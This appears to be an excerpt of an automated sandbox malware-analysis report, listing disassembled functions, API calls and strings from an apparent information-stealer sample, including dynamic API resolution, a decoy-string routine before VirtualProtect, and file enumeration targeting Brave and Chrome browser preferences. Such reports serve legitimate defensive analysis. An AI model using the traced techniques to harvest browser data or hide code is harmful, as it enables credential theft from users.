GetProcAddress.KERNEL32(75AE0000,0250A488), ref: 00419FF9
GetProcAddress.KERNEL32(75AE0000,02506CA8), ref: 0041A011
GetProcAddress.KERNEL32(75AE0000,0250A578), ref: 0041A029
GetProcAddress.KERNEL32(75AE0000,0250A458), ref: 0041A042
GetProcAddress.KERNEL32(76300000,024E9F48), ref: 0041A063
GetProcAddress.KERNEL32(6D560000,0250A3E0), ref: 0041A084
GetProcAddress.KERNEL32(6D560000,024E9E88), ref: 0041A09D
GetProcAddress.KERNEL32(6D560000,0250A4E8), ref: 0041A0B5
GetProcAddress.KERNEL32(6D560000,0250A380), ref: 0041A0CD

Strings

HttpQueryInfoA, xrefs: 00419FCC
1#v, xrefs: 004198DD
P2#v, xrefs: 004197EA
InternetSetOptionA, xrefs: 00419FB5

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA$P2#v$1#v
API String ID: 2238633743-3014924196
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction ID: 04d817b79848fc48b59ba69504da24c7d1b3191c531f4b94b2025844f93bc58f
Opcode Fuzzy Hash: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction Fuzzy Hash: E941BB79740624EBC71C9FE5EC89B987F71AB4C712BA0C062F90299190C7F9D5019B3D

Function 0040BCB0 Relevance: 40.9, APIs: 17, Strings: 6, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

Brave, xrefs: 0040BF42
Preferences, xrefs: 0040BF5E
Google Chrome, xrefs: 0040C474
1#v, xrefs: 0040BD35
\Brave\Preferences, xrefs: 0040C01B
P2#v, xrefs: 0040C5FF

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$P2#v$Preferences$\Brave\Preferences$1#v
API String ID: 3334442632-1392536997
Opcode ID: 2b3ab046f24fe0bac011c9279e07f2c64685d7075d11687b7d753eb600e30850
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: 2b3ab046f24fe0bac011c9279e07f2c64685d7075d11687b7d753eb600e30850
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 004143F0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

%s\%s, xrefs: 004144DB
1#v, xrefs: 00414423
%s\*, xrefs: 00414400
P2#v, xrefs: 0041465D
%s\%s, xrefs: 00414484

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$P2#v$1#v
API String ID: 180737720-322404123
Opcode ID: 17cad7da98d5d236d8490905c803be581254adcc9030182f58d63a0fb882b317
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: 17cad7da98d5d236d8490905c803be581254adcc9030182f58d63a0fb882b317
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 6CB335A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CBBF688,00001000), ref: 6CB335D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CB335E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CB335FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CB3363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CB3369F
__aulldiv.LIBCMT ref: 6CB336E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CB33773
EnterCriticalSection.KERNEL32(6CBBF688), ref: 6CB3377E
LeaveCriticalSection.KERNEL32(6CBBF688), ref: 6CB337BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CB337C4
EnterCriticalSection.KERNEL32(6CBBF688), ref: 6CB337CB
LeaveCriticalSection.KERNEL32(6CBBF688), ref: 6CB33801
__aulldiv.LIBCMT ref: 6CB33883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CB33902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CB33918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CB3394C

Strings

GenuntelineI, xrefs: 6CB33639
QPC, xrefs: 6CB338FC
AuthcAMDenti, xrefs: 6CB33946
MOZ_TIMESTAMP_MODE, xrefs: 6CB335DB
GTC, xrefs: 6CB33912

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: d3ae8401c27400ee55f2975a39f8a3589055e8d9470abf777dce3f29b47e64f4
Instruction ID: 6de52796d05949d1965db8d9dc0e7357ba653e58ba362b32aa36b1c4926efa32
Opcode Fuzzy Hash: d3ae8401c27400ee55f2975a39f8a3589055e8d9470abf777dce3f29b47e64f4
Instruction Fuzzy Hash: 97B1B579B083919FDB08DF28C44561A77F5FB89714F05892EE89AD3760DB70A801CB96

Function 004139B0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004139D3
FindFirstFileA.KERNEL32(?,?), ref: 004139EA
StrCmpCA.SHLWAPI(?,00420F7C), ref: 00413A18
StrCmpCA.SHLWAPI(?,00420F80), ref: 00413A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00413B7C
FindClose.KERNEL32(000000FF), ref: 00413B91

Strings

1#v, xrefs: 004139EA
%s\%s, xrefs: 004139C7
P2#v, xrefs: 00413B7C

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
